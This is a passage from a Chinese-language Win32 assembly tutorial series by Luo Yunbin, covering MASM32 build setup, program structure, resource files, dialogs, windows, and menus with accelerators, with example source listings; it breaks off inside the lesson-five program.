在Win32编程中，由于Windows有很多的数据结构和定义，这些都放在include文件中，还有连接时要用到Import库（通俗的讲就是Windows提供的DLL文件中的函数列表，也就是告诉程序到哪里去调用API函数），这些都放在include 和lib目录中。我们在编译时要指定以下的系统环境：

set include=\Masm32v5\Include
set lib=\Masmv5\lib
set path=\Masmv5\Bin

这样编译器就会到正确的路径中去找 include 文件和 lib 文件。你可以自己在 autoexec.bat 文件中加上以上语句，为了产生Windows的PE格式的执行文件，在编译和连接中要指定相应的参数：

编译： Ml /c /coff 文件名.asm
连接： Link /SUBSYSTEM:WINDOWS OBJ文件名.obj 资源文件名.res

为了不在每次编译时都要打这么多的参数，我们可以用 nmake 文件来代为执行，nmake 是代码维护程序，他会检查 .asm .obj .exe .res 等文件的时间，如果你更新了源程序，他会自动执行编译程序或连接程序产生相应的文件。你可以在文件名为 makefile 的文件中指定使用的编译器和连接程序以及相应的参数，下面是一个 makefile 文件的例子：

NAME = Clock
OBJS = $(NAME).obj
RES = $(NAME).res
$(NAME).exe: $(OBJS) $(RES)
Link /DEBUG /SUBSYSTEM:WINDOWS $(OBJS) $(RES)
$(RES): $(NAME).rc
Rc $(NAME).rc
.asm.obj:
Ml /c /coff $(NAME).asm

文件告诉 nmake程序，程序名为 clock，产生 clock.exe 文件需要 clock.obj和 clock.res 文件，而产生 clock.res 文件需要 clock.rc 文件，产生 clock.obj 文件要用到 clock.asm 文件，至于是否需要执行 ml, link 和 rc，程序会根据文件的时间自动判断。

在我的主页的编程工具中，有Tasm、Masm32V5和 nmake程序下载。

(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


罗云彬的Win32汇编教程

Win32汇编教程二
Win32汇编程序的结构和语法

在这儿下载本节的所有源程序。

Win32ASM程序的结构和语法

让我们先来看看一个最简单的Win32汇编程序：

        .386
        .model flat, stdcall
        option casemap :none   ; case sensitive

include		windows.inc
include		kernel32.inc
includelib	kernel32.lib

        .data

szCaption		db	'Win32汇编例子',0
szText		db	'Win32汇编，Simple and powerful!',0

        .code

start:
        invoke	MessageBox,NULL,addr szText,addr szCaption,MB_OK
        invoke	ExitProcess,NULL

        end	start

这就是一个能执行的最简单的Win32汇编程序，下面我简单地介绍一下各部分的作用：

.386

这条语句和Dos下汇编是一样的，是告诉编译器我们要用到80386的指令集，因为32位汇编程序要用到32位的寄存器如eax,ebx等，所以这一句是必须的，当然，你也可以用.486,.586等，当用到特权指令时，还可以用 .386p,.486p等等。

.model flat,stdcall

.model告诉编译器程序的模式，编过Dos汇编的人可能知道在Dos程序的模式有tiny,small,...huge 等，它指定了程序内存寻址模式，在huge等模式下，内存寻址和子程序调用将用Far的格式，但在Win32汇编中，你只能使用一个模式即 flat 模式，因为对Win32程序来说，内存是连续的一个4GB的段，无所谓小或大的模式。而stdcall 告诉编译器参数的传递方式，在调用子程序时，参数是通过堆栈传递的，参数的传递方式有三种，stdcall,c 和 pascal，stdcall 指定了参数是从右到左压入堆栈的，比如说对一个Windows API 如 MessageBox，在手册中是如此定义的：

int MessageBox(

    HWND hWnd,	    	// handle of owner window
    LPCTSTR lpText,		// address of text in message box
    LPCTSTR lpCaption,	// address of title of message box
    UINT uType      	// style of message box
   );

那么在汇编中我们就可以这样调用它：

    push	uType
    push	lpCaption
    push	lpText
    push	hWnd
    call	MessageBox

大家要注意最右面的参数是最后一个进堆栈的，当然，我们不必这样麻烦的调用一个 API，因为Masm中的一个宏语句不但帮助我们完成了所有的压栈操作，还帮我们检查参数的个数是否正确，那就是 invoke 语句，我们可以把上面的语句换成 invoke MessageBox,hWnd,lpText,lpCaption,uType 就行了。如本程序中代入实际参数就成了 invoke MessageBox,NULL,addr szText,addr szCaption,MB_OK。

include 语句

include 语句包含了一些系统的定义和API函说明，其中所有的Windows 数据结构定义和常量定义包含在 windows.inc 中，而其他 API函数的说明包含在 xxx.inc 中， 如查 Microsoft Win32 Programmer's Reference 知道 ExitProcess包含在kernel32.dll 中，那么我们就要在程序中包括 include kernel32.inc 和 includelib kernel32.lib语句，否则在编译时会出现 API 函数未定义的错误。而 MessageBox 在 user32.dll 中，那么我们就要在程序中包括 include user32.inc 和 includelib user32.lib语句

.data 或 .data?

指明了接下来是数据段，.data 定义了预定义的变量，.data?定义了未初始化的变量，两者的不同之处是 .data? 定义的变量并不占用 .exe 文件的大小，而是在程序执行时动态分配，所以开始是不指定初始值的数据可以放在 .data? 段中，如一个1K大小的缓冲区，放在 .data?中，程序将不会增加一个字节。

.code

指明了接下来是代码段，我们的所有代码都放在这里。最后的一句 start 语句指定了程序开始执行的语句。程序中的 ExitProcess 是一个标准的 Win32 API，对应 Dos汇编中的 int 20h 或 mov ah,4ch/int 21h，也就是程序退出。而 MessageBox 也是一个标准的 API，功能是在屏幕上显示一个消息框，具体的参数上面已经解释过了还有要注意的是 invoke MessageBox,NULL,addr szText,addr szCaption,MB_OK 语句中， MB_OK 和 NULL 已经预定义在 Windows.inc 中。

(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


罗云彬的Win32汇编教程

Win32汇编教程三
一个简单的对话框 --- 兼谈资源文件的使用

在这儿下载本节的所有源程序。

Windows 的资源文件

不管在Dos下编程还是在Windows下编程，我们总是要用到除了可执行文件外的很多其他数据，如声音数据，图形数据，文本等等，在Dos下编程，我们可以自己定义这些文件的格式，但这样一来就造成了很多资源共享的问题，大家可能还记的Dos下的很多游戏，它们的图形都是按自己的格式存放的，你无法用标准的看图软件来看。也无法把它另存为其他格式。虽然在Win32编程中，我们仍然可以这样做，但Win32编程给了我们一个方案 ---- 就是格式统一的资源文件，把字符串、图形、对话框包括上面的按钮，文本等定义到一个资源文件中，就可以方便的在不同的文件中使用它，最重要的是，如果我们用自己的文件格式，使用时就要涉及到这些文件的读写操作，比较复杂，但使用资源文件时，Windows提供了一系列的API来装入资源。非常方便。现在，让我们来看一个很简单的资源文件的源文件，它的扩展名是 .rc，当它用资源编译器编译以后产生 .res 文件就可以在 link的时候连入.exe 文件中：

#include	<Resource.h>
#define		DLG_MAIN	1

DLG_MAIN	DIALOGEX 0, 0, 236, 185
STYLE		DS_MODALFRAME | WS_POPUP | WS_VISIBLE | WS_CAPTION | WS_SYSMENU
CAPTION		"对话框模板"
FONT		9, "宋体"
BEGIN
    DEFPUSHBUTTON	"退出",IDOK,177,163,50,14
    CONTROL		"",-1,"Static",SS_ETCHEDHORZ,7,155,222,1
END

现在我简单解释一下 .rc文件的语法：

#include <resource.h> -- resource.h文件包括资源文件的一些常量定义，如下面的 WS_POPUP,WS_VISIBLE 等窗口的风格等等

#define DLG_MAIN 1 -- 类似于 .asm 文件的 equ 语句，和汇编源程序一样，这些定义是为了程序的可读性。

DLG_MAIN DIALOGEX 0,0,236,185

Windows的.rc文件可以定义 BITMAP(位图),CURSOR(光标),ICON(图标),ACCELERATORS(加速键),DIALOG(对话框),MENU(菜单),STRINGTABLE(字符串表),RCDATA(自定义资源)等8种资源，详细的描述可以参考有关MFC的书籍，在Win32ASM中的资源编译器的语法中，一般格式是这些资源的定义方法是：

位图定义： nameID BITMAP [load-mem] filename
光标定义： nameID CURSOR [load-mem] filename
图标定义： nameID ICON [load-mem] filename
加速键定义：
acctablename ACCELERATORS [optional-statements]
BEGIN event, idvalue, [type] [options]
. . .
END

等等，具体的定义和参数可以参考 Masm32v5 中的 Rc.hlp 帮助文件。(可以在编程工具中下载)，我们可以用资源编辑器来所见即所得地编辑资源，也可以在文本编辑器中用上面这些语句自己定义资源。

在程序中使用资源

在程序中，要使用资源之前必须先装如内存，Windows定义了一系列的API来装入资源，如 LoadMenu，LoadString，LoadBitmap 等等，如 LoadBitmap 的定义：
HBITMAP LoadBitmap(
HINSTANCE hInstance, // handle of application instance
LPCTSTR lpBitmapName // address of bitmap resource name
);
这些Load函数的返回值是一个句柄，调用参数中一般至少为两项： hInstance 和 ResouceName，这个 ResouceName(如BitmapName,MenuName)就是在资源文件中的 #define 指定的值，如果你用 #define MY_ICON 10/ MY_ICON ICON "Main.ico" 定义了一个图标，那么在程序中要使用 Main.ico 图标就可以用 LoadIcon(hInstance,10) 来装入已经定义为10号的图标文件。另一个参数 hInstance 是执行文件的句柄，它对应资源所在的文件名，你可以在程序开始执行时用 invoke GetModuleHandle,NULL 获得 hInstance。另外一些资源并不是显式地装入的，如对话框资源，它是在建立对话框的函数中由Windows自己装入的，如下面例子中的 invoke DialogBoxParam,hInstance,DLG_MAIN,NULL,offset _ProcDlgMain,0 ，是在屏幕上显示一个资源文件中已经定义好了的对话框，就并不存在 LoadDialogBox 之类的API来先装入对话框。

Win32ASM - 显示一个对话框

介绍了这么多相关的东西，现在让我们来看看如何显示一个对话框，源程序如下：

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	Programmed by 罗云彬, bigluo@telekbird.com.cn
;	Website: http://asm.yeah.net
;	LuoYunBin's Win32 ASM page (罗云彬的编程乐园)
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
        .386
        .model flat, stdcall
        option casemap :none   ; case sensitive

include		windows.inc
include		user32.inc
include		kernel32.inc
include		comctl32.inc
include		comdlg32.inc

includelib	user32.lib
includelib	kernel32.lib
includelib	comctl32.lib
includelib	comdlg32.lib

DLG_MAIN	equ		1

        .data?

hInstance	dd	?
szBuffer	db	256 dup	(?)

_ProcDlgMain	PROTO	:DWORD,:DWORD,:DWORD,:DWORD

        .data

        .code

;********************************************************************
_ProcDlgMain	proc	uses ebx edi esi, \
        hWnd:DWORD,wMsg:DWORD,wParam:DWORD,lParam:DWORD

        mov	eax,wMsg
        .if	eax == WM_CLOSE
            invoke	EndDialog,hWnd,NULL
        .elseif	eax == WM_INITDIALOG
        .elseif	eax == WM_COMMAND
            mov	eax,wParam
            .if	eax == IDOK
                invoke	EndDialog,hWnd,NULL
            .elseif eax == IDCANCEL
                invoke	EndDialog,hWnd,NULL
            .endif
        .else
            mov	eax,FALSE
            ret
        .endif
        mov	eax,TRUE
        ret

_ProcDlgMain	endp
;********************************************************************
start:
        invoke	InitCommonControls
        invoke	GetModuleHandle,NULL
        mov	hInstance,eax
        invoke	DialogBoxParam,hInstance,DLG_MAIN,NULL,offset _ProcDlgMain,0
        invoke	ExitProcess,NULL

        end	start

看了前面几篇文章以后，这儿的大部分语句应该是很熟悉了，我来讲解几句新的语句：

_ProcDlgMain PROTO :DWORD,:DWORD,:DWORD,:DWORD

PROTO 语句类似于C语言中的函数定义，在Win32汇编中，如果子程序的定义在引用以后，你就必须先定义，当然，这个定义是针对 invoke 语句和其他带参数的调用的，如果你的子程序没有参数，你就可以用 call 指令去调用它而不是用宏指令 invoke，这时候你就不必声明这个函数。

_ProcDlgMain proc uses ebx edi esi, \
hWnd:DWORD,wMsg:DWORD,wParam:DWORD,lParam:DWORD

这个定义 proc 的语句应该是不陌生的，要重复讲解一下的是 uses 和 下面的参数，uses 下的寄存器表示要编译器自动插入保存及恢复这些寄存器的指令，\ 是在 Masm32 中接下一行的符号，表示下一行是本行的继续内容，以避免一行中的内容过长。下面的 hWnd:DWORD 等语句定义了调用这个子程序的参数，如果有以下定义 MyProc proc dwPara1:DWORD,dwPara2:DWORD,dwPara3:DWORD，然后你用 invoke MyProc 1,2,3 来调用它，那么，1,2,3 将分别被赋值给 dwPara1,dwPara2,dwPara3，你可以在子程序中使用这些传递过来的参数。如果参数的类型是双字，那么:DWORD 可以省略。

.if/.else/.elseif/.endif

这些语句是宏指令，实际上不说你也知道它们的意思，有了这些宏指令，我们就可以把汇编编得象C一样结构清晰，而不必老是看到 jmp 指令了，当然，这只不过编译器帮你做了这些事情而已，如果你去反汇编一下，你开始会看到一大堆 jmp 指令，.if 的格式如下
.if eax == 1 如果eax等于1
.if eax != 1 如果eax不等于1
.if eax != 1 && ebx != 2 如果eax不等于1且ebx不等于2
.if eax == 1 || ebx == 2 如果eax等于1或者ebx等于2
其他的宏指令还有 .while/.endw .break 等等，可以参考 Masm32V5 的帮助文件 Masm32.hlp

最后要讲到的就是 DialogBoxParam 这个API了，在Windows中，所有的窗口都要指定一个子程序，当Windows检测到鼠标、定时器等和这个窗口有关的动作时，它回调用这个子程序，这就是Windows基于消息的体系的最基本的概念，换句话说，在Dos下，我们通过INT指令调用系统，而在Windows 下，有很多时候是你指定子程序地址让Windows来调用你。 invoke DialogBoxParam,hInstance,DLG_MAIN,NULL,offset _ProcDlgMain,0中的 offset _ProcDlgMain 就指定了如果有消息发生，Windows就来执行这个子程序，参数中的 DLG_MAIN 就是在资源文件中定义的对话框模板编号。 hInstance 是对话框所在的资源文件的句柄。
另外，在_ProcDlgMain 子程序中，Windows传给我们4个参数hWnd,wMsg,wParam,lParam，其中，hWnd是对话框的窗口句柄，wMsg表示现在发生的消息事件，如这个对话框初始化时Windows会以WM_INITDIALOG为消息调用，关闭时为WM_CLOSE，按下对话框上的按钮时为WM_COMMAND等，wParam和lParam是附加的参数，对应不同的消息对应不同定义，具体可以参考Win32 Programmer's reference。

(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


罗云彬的Win32汇编教程

Win32汇编教程四
编写一个简单的窗口

在这儿下载本节的所有源程序。

有关窗口的基本知识

窗口是屏幕上的矩形区域。一个窗口可以从键盘或者鼠标接受用户的输入，并在其内部显示图形输出。一个应用程序窗口通常包含程序的标题条、菜单、边框，滚动条。其中，对话框也是一种窗口。不同的是，对话框表面通常包含几个其它窗口，称之为“子窗口”。这些子窗口的形式有压入按钮、单选按钮、复选框、文本输入区域、列表框和滚动条等。 用户将这些窗口看成屏幕上的对象，可以通过按下一个按钮或者滚动一个滚动条与这些对象直接交互。
窗口以“消息”的形式接收窗口的输入，窗口也用消息与其它窗口通讯。比如在程序窗口的大小改变时，字处理器会重新格式化其中的文本。窗口大小改变的细节是由操作系统处理的，但程序能够响应这个系统功能。当用户改变窗口的大小时，Windows给程序发送一条消息指出新窗口的大小。然后，程序就可以调整窗口中的内容，以响应大小的变化。程序创建的每一个窗口都有相关的窗口过程。也就是给这个窗口指定一个子程序（窗口过程），Windows通过调用它来给窗口发送消息。窗口过程再根据此消息进行处理，然后将控制返回给Windows。
窗口在“窗口类”的基础上创建的。Windows定义了确省的窗口过程，如果你对所有的消息都让Windows自己处理，那么你就能得到一个标准的窗口，同样，你也可以选择处理自己感兴趣的消息，这样，相当于产生了不同的子类，也就形成了不同的应用程序。同样，子窗口也是基于同一个窗口类，并且使用同一个窗口过程。例如，所有Windows 程序中的所有按钮都基于同一窗口类。这个窗口类有一个处理所有按钮消息的窗口过程，但是，如果你按自己的设想设计一个按钮，如想把按钮的表面换成位图，你就可以自己处理按钮窗口的 WM_PAINT 消息，当 Windows 需要画按钮表面的时候，你就可以随自己的意思去画。
Windows程序开始执行后，Windows为该程序创建一个“消息队列”。这个消息队列用来存放该程序可能创建的各种不同窗口的消息。程序中有一段代码，叫做“消息循环”， 它用来从队列中取出消息，并且将它们发送给相应的窗口过程。在没有消息发生的时候，你的程序实际上就在消息循环中转圈子。
创建一个窗口的过程如下：

  1. 取得程序的实例句柄(hInstance)
  2. 注册窗口类，实际上就是为你的窗口指定处理消息的过程，定义光标，窗口风格，颜色等参数
  3. 创建窗口
  4. 显示窗口
  5. 然后进入消息循环，也就是不停地检测有无消息，并把它发送给窗口进程去处理。

创建一个窗口的代码在不同的程序中实际上是几乎一模一样的，所以你编一个新的程序时可以把这一段拷来拷去，稍微修改一下就行，程序的大部分代码实际上是用在窗口过程中，因为这才是不同程序的不同之处。窗口过程的编程要点如下：

  1. 从Windows传给窗口过程的参数 uMsg 得到消息类型，并转到不同的分枝去处理。
  2. 对自己已经处理的消息，返回 Windows 时必须在eax 中返回0。
  3. 自己不处理的消息，必须调用 DefWindowProc 处理，并把返回值传回Windows，否则，Windows会无法显示。

uMsg 参数中指定的消息有280多种，实际上我们需要处理的只有重要的几种，如Windows在创建的时候会发送 WM_CREATE 消息，我们就可以在这时候初始化，分配内存等等，而退出时会发送 WM_CLOSE，我们就可以进行释放内存等清除工作，当Windows上的菜单或按钮被按下时发送 WM_COMMAND 消息等等，具体可以参考 Win32 Programmer's Reference。下面，我们来看一个创建窗口的简单程序。

一个创建窗口的程序

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	Programmed by 罗云彬, bigluo@telekbird.com.cn
;	Website: http://asm.yeah.net
;	LuoYunBin's Win32 ASM page (罗云彬的编程乐园)
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
        .386
        .model flat, stdcall
        option casemap :none   ; case sensitive

include		windows.inc
include		user32.inc
include		kernel32.inc
include		comctl32.inc
include		comdlg32.inc
include		gdi32.inc

includelib	user32.lib
includelib	kernel32.lib
includelib	comctl32.lib
includelib	comdlg32.lib
includelib	gdi32.lib

IDI_MAIN	equ		1000		;icon

IDM_MAIN	equ		4000		;menu
IDM_EXIT	equ		4001

        .data?

hInstance	dd		?
hWinMain	dd		?
hMenu		dd		?
szBuffer	db	256 dup	(?)

        .data

szClassName	db	"Windows Template",0
szCaptionMain	db	'窗口模板',0

        .code

start:
        call	_WinMain
        invoke	ExitProcess,NULL

_WinMain	proc
        local	@stWcMain:WNDCLASSEX
        local	@stMsg:MSG

        invoke	InitCommonControls
        invoke	GetModuleHandle,NULL
        mov	hInstance,eax
        invoke	LoadIcon,hInstance,IDI_MAIN
        mov	hIcon,eax
        invoke	LoadMenu,hInstance,IDM_MAIN
        mov	hMenu,eax
;*************** 注册窗口类 *****************************************
        invoke	LoadCursor,0,IDC_ARROW
        mov	@stWcMain.hCursor,eax
        mov	@stWcMain.cbSize,sizeof WNDCLASSEX
        mov	@stWcMain.hIconSm,0
        mov	@stWcMain.style,CS_HREDRAW or CS_VREDRAW
        mov	@stWcMain.lpfnWndProc,offset WndMainProc
        mov	@stWcMain.cbClsExtra,0
        mov	@stWcMain.cbWndExtra,0
        mov	eax,hInstance
        mov	@stWcMain.hInstance,eax
        mov	@stWcMain.hIcon,0
        mov	@stWcMain.hbrBackground,COLOR_WINDOW + 1
        mov	@stWcMain.lpszClassName,offset szClassName
        mov	@stWcMain.lpszMenuName,0
        invoke	RegisterClassEx,addr @stWcMain
;*************** 建立输出窗口 ***************************************
        invoke	CreateWindowEx,WS_EX_CLIENTEDGE,\
            offset szClassName,offset szCaptionMain,\
            WS_OVERLAPPEDWINDOW OR WS_VSCROLL OR WS_HSCROLL,\
            0,0,550,300,\
            NULL,hMenu,hInstance,NULL

        invoke	ShowWindow,hWinMain,SW_SHOWNORMAL
        invoke	UpdateWindow,hWinMain
;*************** 消息循环 *******************************************
        .while	TRUE
            invoke	GetMessage,addr @stMsg,NULL,0,0
            .break	.if eax	== 0
            invoke	TranslateMessage,addr @stMsg
            invoke	DispatchMessage,addr @stMsg
        .endw
        ret

_WinMain	endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
WndMainProc	proc	uses ebx edi esi, \
        hWnd:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD

        mov	eax,uMsg
        .if	eax ==	WM_CREATE
            mov	eax,hWnd
            mov	hWinMain,eax
            call	_Init
;********************************************************************
        .elseif	eax ==	WM_COMMAND
           .if	lParam == 0
            mov	eax,wParam
            .if	ax == IDM_EXIT
                call	_Quit
            .endif
           .endif
;********************************************************************
        .elseif	eax ==	WM_CLOSE
            call	_Quit
;********************************************************************
        .else
            invoke	DefWindowProc,hWnd,uMsg,wParam,lParam
            ret
        .endif
        xor	eax,eax
        ret

WndMainProc	endp

_Init		proc

        invoke	SendMessage,hWinMain,WM_SETICON,ICON_SMALL,hIcon

        ret

_Init		endp
;********************************************************************
_Quit		proc

        invoke	DestroyWindow,hWinMain
        invoke	PostQuitMessage,NULL
        ret

_Quit		endp
;********************************************************************
        end	start

窗口程序的分析

让我们来简单分析一下这个程序，首先程序调用 _WinMain，在_WinMain 中定义了两个局部变量 @stMsg 和 @stWinMain，数据类型分别是 MSG 和 WNDCLASSEX结构，在参考手册中，可以看到WNDCLASSEX定义了一个窗口的所有参数，如使用的菜单、光标、颜色、窗口过程等，接下来的一大堆 mov 指令实际上就是在填写这个数据结构，填写完成后，最重要的两句是 mov @stWcMain.lpfnWndProc,offset WndMainProc 定义了处理消息的窗口过程， mov @stWcMain.lpszClassName,offset szClassName 定义了你要创建的类的名称，然后就是使用 RegisterClassEx 注册这个窗口类，注意，这时候窗口并没有创建，你只不过是定义好了一个子类，接下去你要用你定义的类去创建一个窗口。也就是使用 CreateWindowEx 函数去创建它。在手册中，CreateWindowEx 是这样定义的：

HWND CreateWindowEx(
DWORD dwExStyle, // extended window style
LPCTSTR lpClassName, // pointer to registered class name
LPCTSTR lpWindowName, // pointer to window name
DWORD dwStyle, // window style
int x, // horizontal position of window
int y, // vertical position of window
int nWidth, // window width
int nHeight, // window height
HWND hWndParent, // handle to parent or owner window
HMENU hMenu, // handle to menu, or child-window identifier
HINSTANCE hInstance, // handle to application instance
LPVOID lpParam // pointer to window-creation data );

其中的参数 dwExStyle 是窗口的风格，lpClassName 就是我们自己定义的类的名字。如果大家要创建一个已经定义好的类，如 RichEdit 类等等，只要把 lpClassName 指向 "RichEdit32" 字符串就行了，当然这时就不用 RegisterClass 以及编写自己的窗口过程了。执行 CreateWindowEx 后，得到一个返回值就是窗口句柄，这个值在以后是要经常用到了，所以要先保存下来。这时窗口并没有在屏幕上显示出来，而是处于隐藏状态，我们要用 ShowWindow 来显示出窗口并用UpdateWindow 来绘窗口的内容。
窗口显示出来后，程序就进入一个循环----消息循环，前面我已经说过，作用是不停地接收 Windows 消息并发送给窗口过程去处理。GetMessage 从消息队列中取出一条消息，如果取得的消息不是 WM_QUIT，那么 GetMessage 返回一个非零值，否则返回零，这时候循环结束，程序执行 ExitProcess退回操作系统。TranslateMessage 将消息进行一些键盘转换，用于处理一些快捷键，DispatchMessage 将处理后的消息发回 Windows，由Windows调用窗口进程进行处理，当窗口进程处理完返回后，程序才从 DispatchMessage 返回，从而开始下一个 GetMessage 调用。这些函的参数可以参考手册。

窗口过程的分析

窗口过程有四个参数，hWnd 是本窗口的句柄，和创建窗口时返回的值相同，uMsg 是本次调用的消息类型，wParam 和lParam是消息的参数，其含义和数值根据消息的不同而不同。在本程序中，我们处理 WM_CREATE,WM_COMMAND 和 WM_QUIT 消息，然后返回0，对不处理的消息，使用 invoke DefWindowProc,hWnd,uMsg,wParam,lParam 来处理并直接用 ret 将返回值传回 Windows。在响应 WM_CLOSE 消息时，我们用 DestroyWindow 清除窗口并用PostQuitMessage 产生一条 WM_QUIT 消息，从而使程序在 消息循环调用GetMessage 时返回0，以结束消息循环并结束程序。

(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


罗云彬的Win32汇编教程

Win32汇编教程五
菜单和加速键的使用

本节的内容是上一节内容的扩展，所以示范的源程序是在上一节的基础上扩展的，在这儿下载本节的所有源程序。

有关菜单和加速键

菜单是Windows标准界面的最重要的组成部分，窗口的菜单条位于标题栏的下方，这个菜单通常被称为主菜单，列在主菜单下面的菜单项被称为下拉式菜单，或弹出式菜单、子菜单等，而在标题栏左边的图标上点击也会弹出一个菜单，叫做系统菜单。加速键实际上是菜单项的快捷键，应用程序常在菜单项的右边标出激活这个菜单项的快捷键，这就是加速键。菜单的结构是可嵌套的，也就是说，你可以在选择一个菜单项时弹出另一个菜单。菜单项的种类有正常的、被禁用的、灰化的、水平分隔线等。本节的示范程序演示了各种类型的菜单：你可以在主菜单中看到正常的和禁用的、灰化的菜单，可以用右键单击窗口的任一部分弹出一个“弹出式菜单”，也可以看到我在系统菜单中添加了几项新的内容。
在编程的处理中，菜单是在资源文件中定义的（当然，你可以不用资源文件，而在程序中用AppendMenu一项一项的添加，但使用资源文件无疑是最简单的办法），然后在程序中用LoadMenu来获得菜单句柄再使用。在资源文件中定义菜单的语法如下：

菜单ID	menu	discardable
BEGIN
    popup	"主菜单项一"
    BEGIN
        menuitem	"弹出式菜单项一",	命令ID	[,OPTION]
        menuitem	"弹出式菜单项二",	命令ID	[,OPTION]
        menuitem	separator
        menuitem	"弹出式菜单项三",	命令ID	[,OPTION]
        ...
    END
    popup	"主菜单项二"
    BEGIN
        menuitem	"弹出式菜单项一",	命令ID	[,OPTION]
        menuitem	"弹出式菜单项二",	命令ID	[,OPTION]
        menuitem	"弹出式菜单项三",	命令ID	[,OPTION]
        ...
        popup		"嵌套的菜单项"
        BEGIN
        menuitem	"弹出式菜单项一",	命令ID	[,OPTION]
        menuitem	"弹出式菜单项二",	命令ID	[,OPTION]
        menuitem	"弹出式菜单项三",	命令ID	[,OPTION]
        ...
        END
    END
    ...
END

菜单ID就是我们在程序中用LoadMenu装入菜单用到的资源编号，menuitem separator 定义了分隔菜单项用的水平线，菜单项定义中的option是属性，如GRAYED是灰化的，INACTIVE是被禁用的等等。而加速键实际上就是定义了对应于各个菜单项的热键，定义方法如下：

加速键ID	accelerators
BEGIN
        VK_F1,	对应的菜单命令ID,	VIRTKEY
        VK_F2,	对应的菜单命令ID,	VIRTKEY
        ...
        "A",	对应的菜单命令ID,	VIRTKEY,CONTROL
        "B",	对应的菜单命令ID,	VIRTKEY,CONTROL
END

其中，加速键ID是我们在程序中用LoadAccelerator装入加速键的资源编号，下面的每一项定义了一个键，VK_F1表示用F1，“A”表示键A，下面的VIRTKEY是必需的，再下面的CONTROL“或SHIFT、ALT”表示用CONTROL键组合，也就是说，如果你定义了："C",IDM_COPY,VIRTKEY,CONTROL 而且在菜单定义中定义了 menuitem "拷贝",IDM_COPY，那么，你在程序中按下Ctrl-C实际上就是执行了菜单项“拷贝”。
菜单和加速键的编程是很简单的，初始化的部分你需要做以下事情：

  1. 取得程序的实例句柄(hInstance)
  2. 用LoadMenu装入菜单，得到菜单句柄
  3. 用LoadAccelerator装入加速键，得到加速键句柄
  4. 注册窗口类
  5. 创建窗口时在参数中制定菜单句柄
  6. 显示窗口
  7. 然后进入消息循环，在消息循环中用TranslateAccelerator来进行加速键的检测（详见源程序）

当窗口显示后，当一个菜单项或一个加速键被按下时，Windows向窗口过程发送WM_COMMAND消息，而当一个系统菜单中的菜单项被按下时，Windows 向窗口过程发送WM_SYSCOMMAND，菜单项命令的ID就包括在wParam的低16位中，在一般的编程中，如果我们不对系统菜单消息进行处理，那么只需在WM_COMMAND消息的处理中建立一段 .if/.elseif/.elseif .../.endif的语句对各个菜单命令ID进行处理就行了。

使用菜单和加速键的源程序

        .386
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	Programmed by 罗云彬, bigluo@telekbird.com.cn
;	Website: http://asm.yeah.net
;	LuoYunBin's Win32 ASM page (罗云彬的编程乐园)
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
        .model flat, stdcall
        option casemap :none   ; case sensitive

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	Include 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

include		windows.inc
include		user32.inc
include		kernel32.inc
include		comctl32.inc
include		comdlg32.inc
include		shell32.inc
include		gdi32.inc

includelib	user32.lib
includelib	kernel32.lib
includelib	comctl32.lib
includelib	comdlg32.lib
includelib	shell32.lib
includelib	gdi32.lib

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	Equ 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

IDI_MAIN	equ		1000		;icon
IDA_MAIN	equ		2000		;Accelerator

IDM_MAIN	equ		4000
IDM_OPEN	equ		4101
IDM_OPTION	equ		4102
IDM_EXIT	equ		4103
IDM_SETFONT	equ		4201
IDM_SETCOLOR	equ		4202
IDM_FIND	equ		4203
IDM_FINDPREV	equ		4204
IDM_FINDNEXT	equ		4205
IDM_TOOLBAR	equ		4206
IDM_TOOLBARTEXT	equ		4207
IDM_INPUTBAR	equ		4208
IDM_STATUSBAR	equ		4209
IDM_HELP	equ		4301
IDM_ABOUT	equ		4302

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

        .data?

hIcon		dd		?
hInstance	dd		?
hWinMain	dd		?
hMenu		dd		?
hSubMenu	dd		?
szBuffer	db	256 dup	(?)
dwFlag		dd		?
;********************************************************************
;	标志位定义
F_TOOLBAR	equ	00000001b
F_TOOLBARTEXT	equ	00000010b
F_INPUTBAR	equ	00000100b
F_STATUSBAR	equ	00001000b

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

        .data

szClassName	db	"Menu Example",0
szCaptionMain	db	'菜单应用示例',0
szMenuHelp	db	"帮助主题(&H)",0
szMenuAbout	db	"关于本程序(&A)...",0

